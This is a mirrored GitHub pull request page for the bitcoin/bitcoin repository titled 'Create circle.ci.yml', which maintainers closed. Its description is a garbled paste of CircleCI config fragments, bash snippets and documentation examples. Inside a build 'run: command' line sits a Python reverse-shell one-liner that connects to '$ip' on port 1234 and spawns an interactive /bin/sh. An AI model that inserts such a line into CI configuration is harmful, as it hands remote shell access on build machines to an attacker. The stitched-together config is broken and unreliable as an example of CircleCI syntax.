Create circle.ci.yml #18237

pull zachwylde00 wants to merge 6 commits into bitcoin:master from zachwylde00:master changing 6 files +86 −13
  1. zachwylde00 commented at 4:23 AM on March 2, 2020: none

    version: 2.1 jobs: Hello-World: docker: - image: alpine:3.7 steps: - run: name: Hello World command: | echo 'Hello World!' echo 'This is the delivery pipeline' I-Have-Code: docker: - image: alpine:3.7 steps: - checkout - run: name: Code Has Arrived command: | ls -al echo '^^^That should look familiar^^^' Run-With-Node: docker: - image: circleci/node:10-browsers steps: - run: name: Running In A Container With Node command: | node -v Now-Complete: docker: - image: alpine:3.7 steps: - run: name: Approval Complete command: | echo 'Do work once the approval has completed'

    workflows: version: 2 Example_Workflow: while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo $version exit ;; -s | --string ) shift; string=$1 ;; -f | --flag ) flag=1 ;; esac; shift; done if [[ "$1" == '--' ]]; then shift; fi jobs: - Hello-World - I-Have-Code: requires: - Hello-World - Run-With-Node: requires: - Hello-World - Hold-For-Approval: traperr() { echo "ERROR: ${BASH_SOURCE[1]} at about ${BASH_LINENO[0]}" }

    set -o errtrace trap traperr ERR type: approval requires: - Run-With-Node - I-Have-Code - Now-Complete: requires: - Hold-For-Approval - ~/.circleci/config.yml version: 2 jobs: test: docker: - image: circleci/<language>:<version TAG> parallelism: 4 steps: - run: command: | echo $(circleci tests glob "foo//*" "bar//") circleci tests glob "foo/**/" "bar//*" | xargs -n 1 echo --timings-type flag. cat my_java_test_classnames | circleci tests split --split-by=timings --timings-type=classname circleci tests glob "test//*.java" | circleci tests split version: 2.1 jobs: build: machine: image: ubuntu-1604:201903-0. # recommended linux image - includes Ubuntu 16.04, docker 18.09.3, docker-compose 1.23.1 resource_class: 2xlarge steps: ... // other config build: executor: win/2xlarge steps: - run: Write-Host 'Hello, World' build: run: command: ./ci/$ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("$ip",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(), *$ 1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' working_directory: ~/.sh-python environment: https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-techniques-2016-37562 FOO: bar steps:

    • run: name: Running tests command: make test
      • run: command: | echo Running test mkdir -p /tmp/test-results make test: steps:
        • run: name: Testing application command: make test shell: /bin/bash working_directory: ~/my-app no_output_timeout: 30m environment: FOO: bar
        • run: echo 127.0.0.1 devhost | sudo tee-a /etc/hosts -
        • run: | sudo -u root createuser -h localhost--superuser ubuntu && sudo createdb -h localhost test_db
        • run: name: Upload Failed Tests command: curl --data fail_tests.log http://example.com/error_logs when: on_fail jobs: # conditional steps may also be. defined in commands:`job_with_optional_custom_checkout: parameters: custom_checkout: type: string default: "" machine: true steps: - when: - condition: <<parameters.custom_checkout>> steps: - run: echo "my custom checkout" - unless: condition: <<parameters.custom_checkout>> steps: - checkout workflows: build-test-deploy: jobs: -job_with_optional_custom_checkout: custom_checkout: "any non-empty string is truthy" -job_with_optional_custom_checkout - checkout - run: git submodule sync - run: git submodule update --init - - run:}} - name: Build the Jekyll site command: bundle exec jekyll build --source jekyll --destination jekyll/_site/docs/ - store_artifacts: path: jekyll/_site/docs/ destination: circleci-docs - myapp-{{ .Branch }}-{{ checksum "package-lock.json"
  2. travis: run tests on macOS native 760a45906a
  3. Merge 760a45906a645d40a6af1ab1dd41ec0588fd8467 into 08ed87e8875d72a1d8b157b67bbd431253d7db24 56a924ef08
  4. Update .travis.yml def61133e1
  5. Merge pull request #4 from bitcoin/patch-1
    Patch 1
    85624949ac
  6. Create Travis.ci.yml 360b33e836
  7. Set theme jekyll-theme-merlot 8669e7d394
  8. fanquake closed this on Mar 2, 2020

  9. DrahtBot locked this on Feb 15, 2022
Contributors

github-metadata-mirror

This is a metadata mirror of the GitHub repository bitcoin/bitcoin. This site is not affiliated with GitHub. Content is generated from a GitHub metadata backup.
generated: 2026-04-22 00:14 UTC

This site is hosted by @0xB10C
More mirrored repositories can be found on mirror.b10c.me